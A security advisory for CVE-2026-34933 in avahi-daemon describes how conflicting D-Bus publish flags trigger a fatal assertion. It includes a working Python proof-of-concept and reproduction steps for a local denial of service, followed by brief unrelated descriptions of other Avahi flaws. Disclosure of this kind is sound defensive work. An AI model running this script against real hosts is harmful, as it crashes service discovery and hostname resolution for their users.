https://github.com/avahi/avahi/security/advisories/GHSA-w65r-6gxh-vhvc advises: Reachable assertion in transportflagsfromdomain (CVE-2026-34933)

Moderate evverx published GHSA-w65r-6gxh-vhvc Apr 1, 2026

Affected versions: <=v0.9-rc3 Patched versions: v0.9-rc4

Description ----------- In all versions up to and including 0.8 and 0.9-rc3, any unprivileged local user can crash avahi-daemon by sending a single D-Bus method call with conflicting publish flags.

The AVAHIPUBLISHUSEMULTICAST (0x100) and AVAHIPUBLISHUSEWIDEAREA (0x80) flags are individually accepted by the AVAHIFLAGSVALID() validation macro at entry.c:201-209 (for AddRecord) and entry.c:593-597 (for AddService), since both are listed in the allowed flags bitmask. However, these flags are mutually exclusive, and the function transportflagsfromdomain() at entry.c:57 enforces this exclusivity with an assert():

static void transportflagsfromdomain(AvahiServer s, AvahiPublishFlags flags, const char domain) { assert(flags); assert(domain);

assert(!((flags & AVAHIPUBLISHUSEMULTICAST) && (flags & AVAHIPUBLISHUSEWIDEAREA))); // ... }

When both flags are set simultaneously (flags = 0x180), the assertion fails, causing the daemon to abort with SIGABRT. The D-Bus system bus policy (avahi-dbus.conf) allows any local user to call EntryGroupNew and AddService without restrictions.

Root cause ---------- The flags validation (AVAHIFLAGSVALID) and the mutual exclusivity check (assert in transportflagsfromdomain) are performed at different layers with no coordination:

1. AVAHIFLAGSVALID(flags, mask) checks !(flags & ~mask) -- it verifies that no unknown bits are set, but does not check for mutually exclusive combinations. 2. transportflagsfromdomain() enforces mutual exclusivity via assert(), which is a fatal operation in a production daemon.

Affected D-Bus methods ---------------------- The following D-Bus methods on org.freedesktop.Avahi.EntryGroup accept a flags parameter that reaches the vulnerable function:

Method D-Bus handler Core function AddService dbus-entry-group.c:166 serveraddservicestrlstnocopy() -> transportflagsfromdomain() AddServiceSubtype dbus-entry-group.c:213 serveraddservicestrlstnocopy() -> transportflagsfromdomain() AddAddress dbus-entry-group.c:280 avahiserveraddaddress() -> transportflagsfromdomain() AddRecord dbus-entry-group.c:311 avahiserveradd() -> serveraddinternal() -> transportflagsfromdomain() UpdateServiceTxt dbus-entry-group.c:370 serverupdateservicetxtstrlstnocopy() -> transportflagsfromdomain()

Proof of Concept ----------------

#!/usr/bin/env python3 """Any local unprivileged user can crash avahi-daemon with this script.""" import dbus

AVAHIPUBLISHUSEWIDEAREA = 128 # 0x80 AVAHIPUBLISHUSEMULTICAST = 256 # 0x100 CONFLICTINGFLAGS = AVAHIPUBLISHUSEWIDEAREA | AVAHIPUBLISHUSEMULTICAST

bus = dbus.SystemBus() server = dbus.Interface( bus.getobject('org.freedesktop.Avahi', '/'), 'org.freedesktop.Avahi.Server' )

Create an entry group egpath = server.EntryGroupNew() eg = dbus.Interface( bus.getobject('org.freedesktop.Avahi', egpath), 'org.freedesktop.Avahi.EntryGroup' )

Trigger the crash: AddService with both MULTICAST and WIDEAREA flags eg.AddService( dbus.Int32(-1), # interface (AVAHIIFUNSPEC) dbus.Int32(-1), # protocol (AVAHIPROTOUNSPEC) dbus.UInt32(CONFLICTINGFLAGS), # flags = 0x180 (CRASH) dbus.String("PoC-Service"), # name dbus.String("http.tcp"), # type dbus.String(""), # domain dbus.String(""), # host dbus.UInt16(8080), # port dbus.Array([], signature='ay') # TXT records )

Reproduction ------------

On any Linux system with avahi-daemon running: apt install python3-dbus # if not already installed python3 poc.py

Verify crash: systemctl status avahi-daemon Expected: "avahi-daemon.service: Main process exited, code=exited, status=134/n/a"

journalctl -u avahi-daemon -n 5 Expected: "entry.c:57: transportflagsfromdomain: Assertion !((flags & AVAHIPUBLISHUSEMULTICAST) && (flags & AVAHIPUBLISHUSEWIDEAREA))' failed."

Impact ------

Any unprivileged local user can immediately crash the avahi-daemon process. All mDNS/DNS-SD services on the host become unavailable. Applications relying on nss-mdns for .local hostname resolution fail. Network service discovery (printers, Chromecast, AirPlay, etc.) stops. While systemd auto-restarts the daemon, repeated crashes cause a persistent DoS.

Credit ------ Discovered by Guillaume MEUNIER - Head of VOC France - Orange Cyberdefense on 2026-03-10.

Fix --- It was addressed in <https://github.com/avahi/avahi/pull/891>.

Severity: Moderate - 5.5 / 10 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H CVE ID: CVE-2026-34933 Weakness: CWE-617 -- -Alan Coopersmith- alan.coopersmith () oracle com Oracle Solaris Engineering - https://blogs.oracle.com/solaris

Avahi has a reachable assertion in lookupstart

A flaw was found in the Avahi-daemon, where it initializes DNS transaction IDs randomly only once at startup, incrementing them sequentially after that. This predictable behavior facilitates DNS spoofing attacks, allowing attackers to guess transaction IDs.

A flaw was found in Avahi-daemon, which relies on fixed source ports for wide-area DNS queries. This issue simplifies attacks where malicious DNS responses are injected.

This vulnerability exposes Avahi-daemon to potential DNS spoofing attacks by using a fixed source port for queries. However, the impact is limited because it only affects wide-area DNS and can be mitigated by forwarding queries to local DNS resolvers (e.g., systemd-resolved), which provide better randomization. The impact is primarily on systems actively using wide-area DNS, with .local mDNS being unaffected.

The originatesfromlocallegacyunicastsocket function in avahi-core/server.c in avahi-daemon 0.6.23 does not account for the network byte order of a port number when processing incoming multicast packets, which allows remote attackers to cause a denial of service (network bandwidth and CPU consumption) via a crafted legacy unicast mDNS query packet that triggers a multicast packet storm.